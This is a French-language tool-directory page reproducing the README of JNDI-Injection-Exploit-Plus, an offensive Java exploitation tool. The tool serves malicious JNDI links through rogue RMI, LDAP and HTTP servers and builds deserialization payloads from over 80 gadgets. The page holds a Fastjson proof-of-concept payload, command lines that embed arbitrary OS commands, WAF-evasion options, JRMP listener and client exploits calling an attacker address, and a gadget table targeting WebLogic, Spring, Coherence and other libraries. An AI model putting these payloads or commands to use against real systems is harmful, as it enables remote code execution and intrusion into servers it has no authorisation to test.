Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
JNDI-Injection-Exploit-Plus — Génère des liens d'injection JNDI exploitables et des charges utiles de désérialisation avec plus de 80 gadgets, prenant en charge les serveurs RMI, LDAP et HTTP pour les tests de vulnérabilité automatisés. | Kitploit
Outils/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

Génère des liens d'injection JNDI exploitables et des charges utiles de désérialisation avec plus de 80 gadgets, prenant en charge les serveurs RMI, LDAP et HTTP pour les tests de vulnérabilité automatisés.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
880114il y a 2 ansVérifié par Kitploit

JNDI-Injection-Exploit-Plus

中文 README

Description

JNDI-Injection-Exploit-Plus est un outil permettant de générer des liens JNDI fonctionnels et de fournir des services d'arrière-plan en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP.

En utilisant cet outil, vous pouvez obtenir des liens JNDI que vous pouvez insérer dans votre POC pour tester la vulnérabilité.

Par exemple, voici un vul-poc Fastjson :

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Nous pouvons remplacer "rmi://127.0.0.1:1099/Object" par le lien généré par JNDI-Injection-Exploit-Plus pour tester la vulnérabilité.

De plus, vous pouvez également utiliser JNDI-Injection-Exploit-Plus pour générer des payloads de type base64/hex, comme ysoserial.

Plus que JNDI-Injection-Exploit

JNDI-Injection-Exploit est un excellent outil ; voici sa version améliorée.

En plus

1. Plus de gadgets de référence distante JNDI (total : 3)

  • Supporte JDK 6/7/8

2. Plus de gadgets de référence locale JNDI (total : 4)

3. Gadgets de désérialisation (total : 75)

P.S. Plus de gadgets (⬆️) que ysoserial, bienvenue pour proposer une PR ! ^_^

4. Générer et exporter des payloads

Comme ysoserial.

Vous pouvez générer les payloads de désérialisation avec une sortie de type Base64 ou HEX.

5. Wrapper

Quelques wrappers pour encapsuler les données de désérialisation.

WrapperExemples de vulnérabilités
XstreamCVE-2021-39149
ApereoApereo 4.1 Désérialisation RCE
  • Exemple
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusion

Cacher le nom de la classe pour contourner le WAF.

  • Exemple
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Référence : https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Service web pour renvoyer des gadgets de désérialisation

root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
root@kitploit:~
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

P.S. Les paramètres wrapper et output sont optionnels.

Utilisation

Liens JNDI

Exécutez comme suit :

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [commande] [-A] [adresse]

où :

  • -C - commande exécutée dans le fichier de classe distant.

    (optionnel, la commande par défaut est "open /Applications/Calculator.app")

  • -A - l'adresse de votre serveur, qui peut être une adresse IP ou un nom de domaine.

    (optionnel, l'adresse par défaut est celle de la première interface réseau)

Points d'attention :

  • Assurez-vous que les ports de votre serveur (1099, 1389, 8180) sont disponibles.

    ou vous pouvez modifier le port par défaut dans la classe run.ServerStart.

  • Votre commande est passée à Runtime.getRuntime().exec() comme paramètres,

    donc vous devez vous assurer que votre commande est fonctionnelle dans la méthode exec().

    Les commandes bash comme "bash -c ..." nécessitent l'ajout de guillemets doubles.

Payloads de désérialisation

Exécutez comme suit :

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [commande] [-D] [Gadget] [-O] [base64/hex]

où :

  • -C - commande exécutée dans le fichier de classe distant.

    (optionnel, la commande par défaut est "open /Applications/Calculator.app")

  • -D - le nom du gadget de désérialisation.

  • -O - (Optionnel) le type de sortie de la désérialisation, par défaut base64.

Exploits de désérialisation

JRMP

  • JRMPListener
root@kitploit:~
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
  • JRMPClient
root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Exemples

Liens JNDI

Démo locale :

  1. Démarrez l'outil comme ceci :

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    Capture d'écran :

  2. Supposons que nous injections les liens JNDI (par exemple, rmi://ADDRESS/remoteExploit8 généré à l'étape 1) dans une application vulnérable pouvant être attaquée par injection JNDI.

    Dans cet exemple, cela ressemble à ceci :

    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    puis, lorsque nous exécutons ce code, la commande sera exécutée,

    et le journal sera affiché dans le terminal :

Pour plus d'exemples : Test-JNDI-Injection-Exploit-Plus

Payloads de désérialisation

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Résultat de sortie Base64 :

Installation

Nous pouvons choisir l'une des deux méthodes pour obtenir le jar.

  1. Téléchargez le dernier jar depuis Realease.

  2. Clonez le code source en local et compilez (nécessite Java 1.8+ et Maven 3.x+).

    root@kitploit:~
    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit-Plus
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

P.S. ‼️ Si vous obtenez une erreur du type "java.rmi.xxx does not exists", vous devez définir la variable d'environnement JAVA_HOME.

Avertissement

Toutes les informations et tout le code sont fournis uniquement à des fins éducatives et/ou pour tester vos propres systèmes pour ces vulnérabilités.

Télécharger l’outil
Charge utileauteurdépendances
Tomcat 8+ ou SpringBoot@welk1ntrustURLCodebase est false mais Tomcat 8+ ou SpringBoot 1.2.x+ est dans le classpath
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase est false mais Tomcat et Groovy sont dans le classpath
Groovy (GroovyShell)@cckuailongtrustURLCodebase est false mais Tomcat et Groovy sont dans le classpath
Websphere Readfile@cckuailongtrustURLCodebase est false mais WebSphere v6-v9 est dans le classpath
payloadauteurdépendances
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 ⬆️@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_2 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_3 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections8 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections9 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections10 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections11 ⬆️@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson ⬆️@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 ⬆️@cckuailong
JRMPClient3 ⬆️@cckuailong
JRMPClient4 ⬆️@cckuailong
JRMPClient5 ⬆️@cckuailong
JRMPClient6 ⬆️@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 ⬆️@firebaskyrome:1.0
Scala1 ⬆️@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@gebldétection de vulnérabilité jre uniquement
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️@hugoworg.wildfly:wildfly-connector:26.0.1.Final
JbossRemotingJboss Remoting Port Unserialization
GzipCertaines interfaces Yonyou utilisent Gzip
DirtyInsère beaucoup de données sales pour contourner le WAF